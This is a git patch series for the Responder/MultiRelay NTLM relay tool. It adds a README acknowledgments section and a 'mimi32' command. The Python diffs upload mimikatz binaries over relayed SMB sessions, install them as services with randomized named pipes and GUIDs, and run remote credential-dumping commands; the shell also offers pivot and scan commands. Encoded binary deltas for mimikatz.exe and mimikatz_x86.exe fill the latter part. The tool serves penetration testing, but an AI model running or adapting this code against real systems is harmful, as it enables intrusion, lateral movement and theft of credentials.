--- README.md | 20 ++++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 7d2d860..ccf7ad3 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ -# Responder.py # +# Responder/MultiRelay # -LLMNR/NBT-NS/mDNS Poisoner +LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay. Author: Laurent Gaffie https://g-laurent.blogspot.com @@ -169,6 +169,22 @@ You can contribute to this project by donating to the following BTC address: 1Pv9rZMNfy9hsW19eQhNGs22gY9sf6twjW +## Acknowledgments ## + +Late Responder development has been possible because of the donations received from individuals and companies. + +We would like to thanks those major donator: + +- SecureWorks : https://www.secureworks.com/ + +- Black Hills Information Security: http://www.blackhillsinfosec.com/ + +- TrustedSec: https://www.trustedsec.com/ + +- And all, ALL the pentesters around the world who donated to this project. + +Thank you. + ## Copyright ## NBT-NS/LLMNR Responder From 38219e249e700c1b20317e0b96f4a120fdfafb98 Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 30 Mar 2017 23:39:41 -0300 Subject: [PATCH 006/219] added: mimi32 cmd, MultiRelay random RPC & Namedpipe & latest mimikatz --- tools/MultiRelay.py | 24 +++++++++++++++---- tools/MultiRelay/RelayMultiCore.py | 33 +++++++++++++++++++------- tools/MultiRelay/bin/mimikatz.exe | Bin 748032 -> 764416 bytes tools/MultiRelay/bin/mimikatz_x86.exe | Bin 598016 -> 612864 bytes 4 files changed, 44 insertions(+), 13 deletions(-) diff --git a/tools/MultiRelay.py b/tools/MultiRelay.py index 3c838c1..2608426 100755 --- a/tools/MultiRelay.py +++ b/tools/MultiRelay.py @@ -45,9 +45,10 @@ from socket import * __version__ = "2.0" -MimikatzFilename = "./MultiRelay/bin/mimikatz.exe" -RunAsFileName = "./MultiRelay/bin/Runas.exe" -SysSVCFileName = "./MultiRelay/bin/Syssvc.exe" +MimikatzFilename = "./MultiRelay/bin/mimikatz.exe" +Mimikatzx86Filename = "./MultiRelay/bin/mimikatz_x86.exe" +RunAsFileName = "./MultiRelay/bin/Runas.exe" +SysSVCFileName = "./MultiRelay/bin/Syssvc.exe" def UserCallBack(op, value, dmy, parser): @@ -130,7 +131,8 @@ def ShowHelp(): print color('runas Command',8,1)+' -> Run a command as the currently logged in user. (eg: runas whoami)' print color('scan /24',8,1)+' -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to' print color('pivot IP address',8,1)+' -> Connect to another host (eg: pivot 10.0.0.12)' - print color('mimi command',8,1)+' -> Run a remote Mimikatz command (eg: mimi coffee)' + print color('mimi command',8,1)+' -> Run a remote Mimikatz 64 bits command (eg: mimi coffee)' + print color('mimi32 command',8,1)+' -> Run a remote Mimikatz 32 bits command (eg: mimi coffee)' print color('lcmd command',8,1)+' -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)' print color('help',8,1)+' -> Print this message.' print color('exit',8,1)+' -> Exit this shell and return in relay mode.' @@ -574,6 +576,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain): else: print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n" ShowHelp() + Logs.info("Client:"+clientIP+", "+Domain+"\\"+Username+" --> Target: "+Target[0]+" -> Shell acquired") print color('Connected to %s as LocalSystem.'%(Target[0]),2,1) while True: @@ -608,6 +611,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain): RunAs = re.findall('^runas (.*)$', Cmd[0]) LCmd = re.findall('^lcmd (.*)$', Cmd[0]) Mimi = re.findall('^mimi (.*)$', Cmd[0]) + Mimi32 = re.findall('^mimi32 (.*)$', Cmd[0]) Scan = re.findall('^scan (.*)$', Cmd[0]) Pivot = re.findall('^pivot (.*)$', Cmd[0]) Help = re.findall('^help', Cmd[0]) @@ -684,6 +688,18 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain): print MimikatzFilename+" does not exist, please specify a valid file." del Cmd[:] + if Mimi32: + if os.path.isfile(Mimikatzx86Filename): + FileSize, FileContent = UploadContent(Mimikatzx86Filename) + FileName = os.path.basename(Mimikatzx86Filename) + data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) + Exec = Mimi32[0] + data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName) + del Cmd[:] + else: + print Mimikatzx86Filename+" does not exist, please specify a valid file." + del Cmd[:] + if Pivot: if Pivot[0] == Target[0]: print "[Pivot Verification Failed]: You're already on this host. No need to pivot." diff --git a/tools/MultiRelay/RelayMultiCore.py b/tools/MultiRelay/RelayMultiCore.py index f4332b8..71c6f68 100644 --- a/tools/MultiRelay/RelayMultiCore.py +++ b/tools/MultiRelay/RelayMultiCore.py @@ -19,9 +19,11 @@ import sys import random import time import os +import binascii import re import datetime import threading +import uuid from RelayMultiPackets import * from odict import OrderedDict from base64 import b64decode, b64encode @@ -371,6 +373,16 @@ def GenerateServiceName(): def GenerateServiceID(): return''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)]) +def GenerateNamedPipeName(): + return''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(random.randint(3, 30))]) + +def Generateuuid(): + RandomStr = binascii.b2a_hex(os.urandom(16)) + x = uuid.UUID(bytes_le=RandomStr.decode('hex')) + DisplayGUID = uuid.UUID(RandomStr) + DisplayGUIDle = x.bytes + return str(DisplayGUID), str(DisplayGUIDle) + ### #SMBRelay grab ### @@ -542,7 +554,7 @@ def MimiKatzRPC(Command, f, host, data, s): head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) w = SMBDCEMimiKatzRPCCommand(CMD=Command) w.calculate() - x = SMBDCEPacketData(Data=w, Opnum="\x00\x00") + x = SMBDCEPacketData(Data=w, Opnum="\x03\x00") x.calculate() t = SMBDCERPCWriteData(FID=f,Data=x) t.calculate() @@ -1925,10 +1937,12 @@ def InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, Fi global MimiKatzSVCID global MimiKatzSVCName try: + DisplayGUID, DisplayGUIDle = Generateuuid() + NamedPipe = GenerateNamedPipeName() RandomFName = GenerateRandomFileName() WinTmpPath = "%windir%\\Temp\\"+RandomFName+".txt" #Install mimikatz as a service. - Command = "c:\\Windows\\Temp\\"+FileName+" \"rpc::server /protseq:ncacn_np /endpoint:\pipe\wtf /noreg\" service::me exit" + Command = "c:\\Windows\\Temp\\"+FileName+" \"rpc::server /protseq:ncacn_np /endpoint:\pipe\\"+NamedPipe+" /guid:{"+DisplayGUID+"} /noreg\" service::me exit" MimiKatzSVCName = GenerateServiceName() MimiKatzSVCID = GenerateServiceID() @@ -1940,7 +1954,7 @@ def InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, Fi Logs.info('Command executed:') Logs.info(clientIP+","+Username+','+Command) - return data + return data, DisplayGUIDle, NamedPipe except: #Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works. @@ -1949,13 +1963,14 @@ def InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, Fi def RunMimiCmd(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName): try: - InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName) - data,s = SMBOpenPipe(Host, data, s) + data,guid,namedpipe = InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName) + data,s = SMBOpenPipe(Host, data, s) ##Wait for the pipe to come up.. time.sleep(1) - data,s,f = BindCall("\xe9\x11\xfc\x17\x58\xc2\x8d\x4b\x8d\x07\x2f\x41\x25\x15\x62\x44", "\x01\x00", "\\wtf", data, s) - data,s,f = MimiKatzRPC(Command, f, Host, data, s) - data,s = SMBDCERPCCloseFID(f, data,s) + + data,s,f = BindCall(guid, "\x01\x00", "\\"+namedpipe, data, s) + data,s,f = MimiKatzRPC(Command, f, Host, data, s) + data,s = SMBDCERPCCloseFID(f, data,s) ##### #Kill the SVC now... Never know when the user will leave, so lets not leave anything on the target. data,s = SMBOpenPipe(Host, data, s) @@ -1972,7 +1987,7 @@ def RunMimiCmd(data, s, clientIP, Username, Domain, Command, Logs, Host, FileNam return ModifySMBRetCode(data) except: #Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works. - print "[+] Something went wrong while calling mimikatz. Did you run install mimi before launching this command?" + print "[+] Something went wrong while calling mimikatz. Maybe it's a 32bits system? Try mimi32." return ModifySMBRetCode(data) ##########Pivot############# diff --git a/tools/MultiRelay/bin/mimikatz.exe b/tools/MultiRelay/bin/mimikatz.exe index 3bdb7f99d33519c2ac7095d32fef48fdc674bf45..2ecbf004fc6450834cdbec2de3fae07eab3dddb6 100644 GIT binary patch delta 182880 zcmZr(3wTV&7vFm~o2RuwHiyBaow=Ko|5x8<@60)8&YU@O=FH5Qxi_)TeT0$=HXU~u_JlAar2sw`Dp8enQ z{GR_^9;1hiqPjHdzlAY18s}taG{fKW z))=EN_w#@?cQy4i0ivHq)5%Ap$@Ai1=?~UYXeiue1BCVsO278kTonLc5TL2(fM-sC z#*|W79M2O0nz4G<-eErRx?CU4R>Q)mFcv8Kwtkoaj)5Q`&MM=oQYMWix7noOui9SK zXg18&A_tnecy?i3#kwu;`XdG6BY3{>FIA%{ZkDH(;vzs4O?wao2e9R0ofeQ#0~$>) zJYV>i3TU%QBgRe`rqPTE0s<0ig7I9u@s8*(EbOVJ>+ zNpYR_))W@cGFu5QIgP_WleRS!cu6jk4qD761JZ7zV*tuJ_U8>OIg;8_a@$)EXk#AV=3qgi{A*9oOqSX$wM1pzh zh&~1gRIA_fFXnQ8j#=ZueEcuwqKbK^c>uF`w~Y3V571cT2U1bw)0P1m#dy?PV{vBH zB!%`v%i~YEjq!ciN8a(`qdx3}ce}v#eS9>@C5FNcB6Z;}Jy?WKsL+EY_#}(gK5UXt z6J(bAn8Y(>Y_Ct4n0}mH@oC?uJL%Y4LcxNG=mN>v%bc1iA63Scd28C1*qTamu!KHN zl^pxbN-BWKC2v-TQkI3?qlE74qHkw$M-Hp+7h^wp z6cz3L-AmF|++6wG?RFcN=K$i=`>Kq(ze$X$OLFEkx6uYvd63&UQza=>Nt&r7ZeupU z@=o)4vKaZO+nC`YCpb9XP|4jh34O$EtOIb%H21;eCx*iFPu*^b%3SQJRuQI_>8W=9 z5tOkcKQOpTn2pzK_u#%R1FuyI#l`=hjK~)`87P(lNG98v? zQejI0Q$`TLpaRG&m0r`?m}+&!f!R#1HeJYO-uiKMtW^DZj0{7;2~>}vAj#*_wzfiA zDL=^;>gTi%KB_@g?IdSbs^ZVn64F-X`4NKmLb{)FpQm$?99I)XDHo5hoa#yT zch?~asb+~t`cb}vck(~Kw*)yyny-bWz3DK97Amn zKjUGjmN^29V@5R}l&cnAEIAXNTt`Pa^>z#B>Ze!ZbxU%=fzl(82M#7iE%(04F%YC< zUgkIh7(ka*LX|NbkQGEjRHv8@bM&`BD>*8Y2#~L;Bv;wDwgcsuVe*=+m(xv>JpVw& zFR%k2P!^n~&dV}MXmbqmJ6|sOYzl8GIhOk`V}4aJR3_%^OG-GTVwwOm*n_d3QUzHD zlvU1Z1=Re?LdsGV*bl&URlq_OXa(?86);Z)rULj^6>y*m91dXUxytVC1Rww%Jb)Ib zlmtNJo?~J9c}mI;96KG|szd?~1yBn+Ru%W1!ZrsE79?h@k%HfzHCh-xKZLO%_YKT+ zb_-HmhZw8zRrA%I$#~Vi@OB%Q@NAjexPTIlgT9jEwvc~Nl8?EKZvy0c^|4@Nvun1u zk2%53aR^i@pHc2khB$?fY{M*ab*odCts=<~Vo_0OdY`lH4^&S-p=p^*0)i^Qaz2iLb;`YGn$Y*xR*w;P+y!q&ip@Nb+4i2sc#@ z!ZT@Go6sQ4Dq}5zCboR*05L_+bxl;J^EA4lt3?^l)99zJIm%F;Mn`rXr1Uw!ehgY* zpKT%5-4e-Mp`wXu*5b(yRkJysY)>^i$dk3G+2NG+mHS30-MHI3?lv|C#(h9?{NS5B z*>{oyeNfG9G;(sNzZy>rGRH}>Yt&;QkUcO453Ng{8}8Qv%7~our8N$14xzjw2L~ zInxu0kzEARZv+bdYLK=Gznvs%9hF?KTJ~N-x&ZccO z(|Brp0INu6H#D-3St_a__cbX$?4^34{w%0-Mx65fUe}&4y~Ejp+D5zM5VzY>jBs`4 z@*d~0C0&&*U8+Q?opyaJ7yVf!R5{H7Szb!lV!|{HN8d?U9qj-dTBRlD-74ZQ0JO*h zW8`!*+H5z`nwz}*<4Ouz7b|m!r93bWR&ARGY;8Cg$hVzLUl~qFAcg>u_#z^Umnu^Z z?xE60m1N30^{rl{X~AQUaF^g8)u#xtCrPp=uxHOb#@@^r1)zITN2(} zXwMFXhl?MSup8k~)uX^c?imNYwo;6Hm@%TMkiyaNf7+BydI>l6_oJ-a?Qo`?^rem71*ewWHiWR%g>)`+3if!RW}Ae}G3y9fg(^ zx(x-*&`_vlUKOSRVPIq{caXbJnQ*`dYr^A-0bsZ&S~e`Mq*YDeuh%$-W0g?lItO&4 zWrH1~f9ZBwRUTK40Spdg*}qoOsvI_{7!xqHF}S#dDrPA#R=FG5M7K(eQmB$c*ZS#| zK$ZM;VB~Ib(ynj5R{yb~b(8!if(T6xdyRcwx0QX9T11i~V$$TZ%9)X*2)N5NuqM@A zUQ{W7Rk>~e39Pi5obF3*v(iYluxyA5GH#{wLFJecp|QnDSpH~ijUZlW6(?mJ&~ncR zX)qQ**o-Jcx2js{!;1x~#e&pg8~!cUh8M&9niWK)ns`c?0QO8uQ`;Hl*2C_ARO~mB zeQ)X_Brb|-E+n$Js95|CiZY4Mcd=Pf+4fiVVvW6%EE}@f&<9o$|3~G*aL@E)DENnK zfu^W6Rd`P)fygsQ9r{1i5*0<0)Q$f`%>qhF8dA+rutL+A*Zadhc)3vkCk^p3yd{$` z*t22bTUAo&GMw4!nL4LJ4N84bme&E^AGvZezY8Gb>&ewfC|asO?p#fhgS;hY7hk!D zm!jRsYf7b>ejUax)f*>PHxV||uj&J)4KH_y_H;$dLMLr>^PFAVyNx9YGzu%Q>9cjD&08YH1M;kLF*+Y%0t`Krkms8haF*wifRxW0 zI^toG_hL(>`0juwma&`|%{hUC+xQ%1h?zt?(zq(a2fy> zWOAv>95`S}K1%_RKrnC{#{i4H6>;%tN$tWy^mz-WH0&e9vJNq?;P>O0Nc`@IG2!=e zOao&qSMn%%F;^RQTyEpfaV(@!eW5W+Zq%q*@Me$BrlQ06mKp0U6yg%OjrSU>Nv^(S zjoG3`gHiBaBQt)38%GI^SYqRbLUWeeI1<0J8i(T7)i_c-u!(JMJX9RIiG{_!Bc9#J zzKBf_mv3ZOVp}vh3%yCS**%H`-zo3s5H#3r>>s06*pIaFupw*P|Th^pDem6I< zR%=K>6+?j+=E^h{*gQha*}$4Kts}PHz^qLZga&MG(-z{v@7VWETOy-0jn;L_ ztz)a2$0Kv0`Ea2=YaiDIzeRD0)$4l{MZylL&yL4+7QgoZf&`5A&Ib1g}|2K28hzdmyqT|DNxcDQ9bx<`1~fa~r!fV9Vkq!Nh)xH{sX2 zRo$?M-w+`t&&AN0uzF@7x8?*Ra7PQD7SHwr(hgc8qgpda=n#2TDmaXpxGFhrE6AF-zief$^k4mqxD{g@4E zy(BJDH5Pa(-bM*N$SRk}=iElU2UWz?)FG4H(#d)(x=nMj!D`m0O&vQ3psB**{7eLV z&`ofPy{}>Tolu%}BX$7@_yBB)8i9?!w!FUE*hi(>1FCYp+t^vn=KR77{oU0ggWLE; z1PBmDYM>GvR|(F8AXBbRN=X3$wubOiY4U#8-oDy!7MvI?uKtxZON=ltg?6wA9n4LM z#`6;NJH;NbCo8sf#_n;{uWWo`NXihEFvub!A}WDAk(L}so4^X;L%6ZEL(#%Z`4FZH zF>&hSf929X&1U-&TZvPCWfh4n#ScDZO_G|5VLohNQj@x2y!uQj3O?DHC8llDm^6rc z^3Y#Yq!0TdsYx_wsD<^(FtA@xTX@E*s(^QVBDg(Hs+(AwxaBt_@lrwB5cMmIKuE<8 zQ|CMNpQ$p<^c1HS!%n)k?GqjfMPat+!iTrBr)ZUrLJ(L@gb&-(wsx9Y{#~{Fxhzlh zZsX-}RX#73;FasV(VIO4dD}4>HE!eXa35AXxuxj5&a#suwF8hHm)vxCJrstblmD&s z7_YQ3;PQDi29mcY3wG)|tBmg=&d#ab#=kt8iBt)Kf8#YD2LZ2?yY>rE&GY1xhTpx5 zCDkQKekREw+|?&ytfJ=DYMw%$Zlk#Y8`>_-zZMvkpvI#2*thM%>?7Vo{j%3y$x-ZI zf_SvkIAej2CdnT`;9`^ubW}8(bT7V`N(=x((iRgn!r(lvZlbt4*2$R&dxm-z%wqdnZ&Zp)iYE^1Q)8=%81}xHOoVQSZz#J zvw0pjGF;8h^kjSUESw0u4g02jbNk>GP?uBhfF)v6h-v>?I&8r$CI4(FxPvX1y0x5N ziB|ViyFi0N2P&b;8V*48q@jzPOv1xY`C3R>3^?|l6g9h0NvyJ%uClP#g5|0ek5+kv zD%U@tY5SPcPc2NF=%$raYT@=AGYpuf-^`%%m;Lhb)5>bWh7D(LlI-^1nDatG<%aeD z;OlVfCS6Q3Y`-2kxfUGv&%lDH6c4-dpd)WfC~8oCM;hW%2rc5}8jk{lFc9tCdsJeS zttxq9ntVtpuHX^Jd=<&fymBADP$g@JvYRW*s_mHC5pER~rUG^AWz;Ju1ZV?HLaKVK z0LVR4;p8lEn@ZYZRY?gdb2 zSX3tjPsdl|mtoYa2X8j4rb_vtn~BD^-x4?yXI~QnVkX2Voqetr z^^8$IMVEZgQX9n9bquyoUgo3OEs|q!>YqR<*jZq3-Rl4VMQttsqYka=sFfpCVUH7q zQ=eK1Rd#bgmY1_nb&_=>rdHrJpFq~nfbxtksghphQe;;P}R^*#Xz(&D@ku)@AlEZItcl_QU^zI z^?~c4tV#!e!1iCz!8f2lyXaUUu(Fuiu7xUwA~u~~#!MxyPW`k>s4}v>ogi7&lxwPV zYtbW0ca`j&Dza1nXtHz%;uLd z4U97|F3?HngI#)dPNBC0^OxmIX?t zYBQ?j%AfRh>Fwn6h6<-$LFz&Ah#DTk7nF0-R{ zS2Z8jC3Ao_7tb#<9nS!HxzV?css z<-u?~mq34{5~|eW04!EMMl&G77^*}MpvRXUuB23(^q@7z*y#v}RtYb#zM!JG`@D9G zE4{T!p?X=*(ewtD%mfBif~&kgR55g#=TT&()U#9!V*Q7dw}`dfssHFdc=uK5Xvwnw zW#Lj(3@urHc^Ok57(l($fdeJhNV2!f78AIRo);N1&*sI~^ zZ26#~dzU%0TQ^PfC69BLUsckRtHf0$grrJ|^m7Hpf)>F2vllADDAZnegsB5HneLh>=)f8eq0p-d(L>w)Bduz8SYTNe&4&5diw7*R;U#XfQ(P@(CFm=Z`f$Y)tRw;*3M=qu$-c z6UW&dln| zsiEp(s2X8huEg_v$2X2U8xO;KVr=XM2Op-uSjHdrldXi%4UqsyBS97R*z#*N^TDH|vplly@EH0ZTp`%nzhqV&6&&UD{Q z`7n}-QZ|qcd?ieLuYyf|#T4-1O)3rsNjlpT+n1ig>;8^jEV{FdgaB;ys_Q~J~vCCt&b8sDT{Y-XwaDCBvj|oHS zh_BCNQA46cX(qD_Y0=s4vBDg;(d(WndOxL8NoA|25!$IwJFgn#Xf<0;ZFP8kGDtYS zwvX7(AuYon^@pAh$Yp$oZ=gu6Q@<3X$`AFJUv5&PxiBo%g;YpdXk`QP>P=T$j3m28|?BZqh~kNq1kHM)&)p3X@mBYnRF=asOma@=r*uxH)Izu{OA#lDp9 z$75O-fusOcs@#`{A93!!-!!DebNw2j&NvNzV(8v;nzO$Ue~RL>T5kDZy^Bgif*O*e z!fiuHv(#-|NY#n)mv}%JSFc?|-W7w{ce$Zr)(KXY8yVIPT|jdp9b-Z8X=o|el=&eO zUu~H4&3(_QtDq#bpoJ(pRISoUm4Ku4zdgZk|RVSoA~`V6wuK?H{nKueLY+ zbIf03i&0$DARprWhQi&D6neam#ya)6=UDrpO~pg^*|?!$;)wgKXlR6Jzt6rLY7+DB zvqM9}1LBC1csIY#{u~-BF150VVS~hidu;kJbNcq_e6D-%EUn&-V=0?b2g2eyAzc{w z6i_&86JWqAn>ebFdV;!<|U{CeQ79|#Zg8*m4&g*bQ?Qy+cOko zsF<|JXR1(5Jg8Wz5SNO`aH*d4o_cB#+^O4!5>>d032gW9=HkH#?9bux0j=Ng(L6qZ z7I#0xnvPf&5%8zl1er(3F}sKWaHrAYPxjl0_{L3eWg51a=#Rc3AA=ip=GjOiqPC>A zFRp}Vm68`yd`Gj6Bm0Om@35sKI|TiDTWuow?{lDb8!y~uw?{S`g`H4h|Tfk#CJC9CPY8t2Qs$fa+8f~AfPZEbs*pim{C zz17z*V_sJ=Xs!P03HI*TP-pTqhCK4Dx->QTv)d)cGDyRM{0F|df zoM2TIK{)_)%Lx%)+O1s0H6_qCoebI&D(!bCaZv=`9?oMAC&nQ`7S=b#$|jXqAmYze z;$0_M_i<5v8)z5c)R&!PGsZLvkH@xB`OHB#C}x$+I(E$nKxN?ya$Ef0MLN;K4D4Vw0pS z_z&33|A37GEYsO51wYlAprJ}%09eYFKHbgQzy((#b!RHv)ZlnU<&6 z%!yHAw^MBS#3;Yv*lB@i#3^FVgV&^fAWR<@)H57yf3d~dndOTxDpb{rI+Y@?`**>&cFwfz9LoVyOp#`H2~Dh z_&f$H4B@5jY+x0(Zf!@8fK6jM#PMOeKr^Q){*ZFEFRdzO)+HZ0%Gr}%8c}uv#`9R| zd|aYz>&xckcNQOBWry<{i*Y}*NBQ-Pi-xN-{glO^#uCk`UwDEwo${*q!B1?#lxE_{ zpIGsfxVo)=B06jUiqd?`m+yfdHHGece*)p2*iXzbwNL%uFB6Ty(@|etpN5Lf zT1RpACD!1L81c>}mh;Adnx`&$Yi<_tSs9lWsw;PM+0HjQiD6rq*Yv&Okc;f#^a1rA zTmVrstWIfZIZe`*XC~jA+Bj48$56&ZqVz6h=`+?DC!I&VH8SKzQkBkQneV)<-`cN^gYY=%xWh#I?JBTiWcjg zVP<;+(fn4#lRlILT|Z(N;x;PiM$~zM9*(_n*m|k}6Y+ve2Mc&82jw4@9Y(O$gQ1G79ieDx5Y}2qJUFhqgdTl zZd0=>k;S6ybqb1O`RMu+#CSRHBNc1g3*umu3fPB4BzUXvWyqpb0g+_Yu}_-dwTm z5q5cA8!@>PGZu9hf5~8@in@v;zhqmB%37x3?uHc`0%!%R6})4I&8xEB;!RsZ3mS*; zMW%c<&5haps9fPTzIvE_|4w1x7;c9|?#vMtjb&pOIYJP3m$Fgw`-pu?S@C?gIN~7N z>+CH)Kd>?M-Qj}x;SX%qd(Fg^9oX9UBE_G(u%qua7uR-S&)-WBjU8CRg8XV>`{8Kr z-515_**+qMXfV=!?A=AlV$V-l*`g1{y?faRmKZQ~FX7=X$M0pU*#L2EC+4--T>WV= zfpHrJz9FxawO%}4%-O-dSez)<*}<+ZZY759VZra4Vs7jqx&XKF3MCvn&2+ZL7xrMe zmm|R;_29E)ZX7UauFG-Eaq`T0Lk|0O2#!z^O`(tc4;{n|&xH{C-)?vD(R`K+9)^q7fvH5oP zccI@KE zl6ZeJGk?;q)=u2mg(qB0p4XRR1{=R;lRsJ5?QToz!Mo+SW3^B87;m-BROwx^!4?+7 zmUJsZloWnf-be-lyJk3{v$(eJHcr}2l*bB-C4;3Lx6Qxb*mHS%L9E@Du@z&24eJn3 zOx}-5(~>W%wFYhUW+&o;U4tVXPzGZP=P7}p=_Vt&YBF(Fb-9eR|TV-d0V03FW)s@>$7tUfH)88&@Kc{5IL-&fzHcBouF{eR>-ss%{i?S3>*s97S5YkV>*iwjw^`=b z9mLRY*gId>sWmH(#Os9R9?lHNt;U~ZJHD-=x@+&0K45_OKRh z;*JzWwm|6ewh|`ETq~}&;m#jz!z}#nAF71w_!i2M5Q@JFhMCC+@}m*vg+5evM8g8NobLUn8u=~m}4rPWc)TL?_F zQ}Kl>IsOiUyx7sx@_;*JZ(zA?WRTUIAS~`MV65BBxfCQH%f49`Y44rZCyfH7xlnI0 z)FH{6c*s2?{!xZ=mXJ|2`8*;dMKey||Bq-6PLb1bR;Q%N&k+w=pItN=Hwk~jW3{!Y zHNxaDU~V=0;HgQFR30TAQweqgY)xuyD42qTC25nLFAWR@9n`FOHAGO40P zHknrdWXt2{R6(DsT}>eQy!H~pSb%WPrY*K$$>Z#$^+MDi@Kr>qp6A>KwIna*jPOzl zd79CUX+LbOBieB~gA0U8e*n_(Za{NSySd^C0(+x14IDe& zew1Jn6Gzfo$eVzM47D=qejJz;n70B79{<`rNN{K}{tItAX)8b83ZfGr%1%CDO9IpF zSnk4>2crw2=okFZaM(j0#NzK7Jw^f_9)N9J!8vESHcfVuuSzY)4NQb5F*P^4=ildrvEJ=$Z`VG2c1%=MH4g zPX*g?=@wU6aV8<(%f=*}E;(|~Q!sZ8$gNny7S~5(u?oo#Q@?Zq)Tb&68w(8n6@-^@ z(^0>asylOxM*VHP;OEqRMRZQxK2A>i5E-W&@IcB~UZyuG(f&P^T0y1Y4RDe466RX0 zKTT9}8!uU=R+Ly((RL~_&QoOC%SCp-SVUJ_vyaPh$ zHvCEMHzjxUq2=D1BY1wdobCP2Do$R`3>zATo-otugx->I8fVdbhe{>oj}X>%Lp}Sc z5FVmw&gU~a{ydu|U!l9;a^X^&m@Ek2$~)el{sML z!Q3azn;e7n=Q3RA#tU8KZ2sTXus=5>q}D`1G`=xZMVxZnr^{)(1Ozfj#6#~ zS5@*Rp%k3YyK)&8VMIU}j)lvqSMDk|<#0Ug%>WU!*_XTjBmyynv_oKz)mw035 zkkarGy=s6Bk(;(5I_UoXM=baI+V&NkH8@#{X41`m^cYdKkLV1Z-zup^=l!0UnWp7urhn&mEIB)Zvb;uRpALiA zN*yeZ%8iwv69fvN6%)Nh;L!!<5A=msbl++)f+Fs^VK4(q_L#5dd?CI9J_A8r^_64>aN9V@htC5Z2f{OAfJ_1o* z7o3|A!SDN#tLnc)RQ^YRthm*oK<;czTW#s>4HTWG1lOd#Uu?chHpd~&0Kr0rF3l`C zKx-$cMh(xfrQ1xgbylDN7Rt??IVn8GpjQDlU7Gx~y!Q4~Vnnfrzm~J#wski4tMUI8 z6CtdpX$A^ zB-rpiY?O9j!dF1d1OhH0mg2Hb<1H`&=3oVQ&906#24#-N*YzOsY>@wJ&Fcu%b|1UD zLlQTIv9>$=846Sme?A6>)p~FC>CX0pGDES3g279f^kpf$orDpb09d)j@sBTG8*Lfs zj{#ooWVsKFdTu1G?Djzp4e<}yiz>sATSU2M#mJHL4=ML&F-zVR8J6=k(q)9H8fd!+ zw6&N`+SN+zF_Nv`b<_|(!5=I2@8Mr8NeSK)Si$Z_Y4HJc=|=bCc$lwjJVOr*%Gu}$ zr6y37nY67mF=Osfp8Ed_Rc`uwvpc(6Xb0k1Z%?vVYako4r?ptNkh%8M4T^)im*n|o ziE1or6^n?|LUwqM#oCrcH|~bG9np}d$nmw_XAqg&ZQE}=BVsQS$}Mbc%WLzPWqFW% z8YKpxM>FN1AC;54+^)#$UUk^aF4fsv#Wj3{H7GED7yG2xT>ISxR6SlVlAv>IQlKY# zG<5;HR2*5YAIAo`jolV_)7LI)v5>ue#o@D9-rn}&hWFU|y-`}D(VP9aw}CkFJ@#~O z;~K?qk+`7k>j}PwzsK6_%NHYDZ0)|f;)4&^@qIC3<{0+(zG!jGVrD8yufB@JDc(+| zr$0HGO)RM;M6jK!%2=eXnohBxs5-6TAeasNd(Q>ELh(sd!a?*B!%QsMlH z?r?tgFx-Yv8vPgH(3_m_Rh95Q9*Xc^bU*#7w)i*Bup@HHX)V(KuffeK-L>nSE{y25 zXnj0{EXr7mEk9rs9~QFB2kM1X6apb1qnoCyc#@Vyg`NzekF-dg3y;)A%h$Qzid< z1tbjT(*}n~8UZ=1yuj;sj^Q=qz#D+w9Kf&Le#4X4imogm=0WV)!RYD@z!smkfZ%v7 zwSdKy8k-IKmq$1)J587uh?V1CR;Ef;AqDJNa$UBlbfBwfqAs`b>kfVcs*tY5;8pc` zm@+G-8w%;x3?>wsYH(DA_cGu1cGa4sYpM-$c)QXk=~A`V=6bu{nxyN{?QPt?#L0-6 zmNOMZPcMx?=plfU(;*o3g8MBszaDwKfXlJy69r)0&ziHp81Ny32eQ=9@e%=|Bv$!8 z-VMfP+-amu9JRTVHbcIKz2h9>L}vkpf+6J6oSo2Pr+J&tavYtF;1iWj{o5!>tNjie z5p*l#HQP{OiWwJc4253+0HO^ZqA(CiQ3&za>9-&Kiil zO!xCJQP8Ns@z{PlYka7qPaMt2JJz$whlbQ!1pAkYI$~Wd-dV)8WlU40{A;Yr z-@fXlNT0()#OHI_sKdEN8+Gn5ysvD_=BK#$!b8zqcI9w$LmV*473fu3IVI0!;boly z(z(KqDRl*JHnwbl_{khrT4wc2B_>7MsP?WoI}mbDIARi~_F#RFM1{7a#pAkf(Vk0K z<8?G_4o3J+`Q%%+;7D-Gp8|lK1Ej+(;;mq(KANcW0Km;d_krXqlXh2PY7wT-x31iw z_MX|G%VMZ zMUSZr4p^~1rt$F)m5HV@v^>X24um3O>47KEOP-aFQ; z_Lu+CVvica?+TPEAzt3>?6H+$@E}#^F!@choCtAXkIt#lf9vIHm{3*v3~vA0Z-%xU>rGR|&n&p$$|h*6J#Uvm6?zLK{{> zk8tQe7#h%Sbs9wn0g(`*t@{--oE#l?YX+K0H@;!)wQw~=o#vE*u+2p$$B3h5u;(X3 z#jZ10=&7`Xg>Z1VwB!XkoUAHyDU0fJu=d3J=QM0k3vTJp9QB;@fiI77uy;>2XuN(p 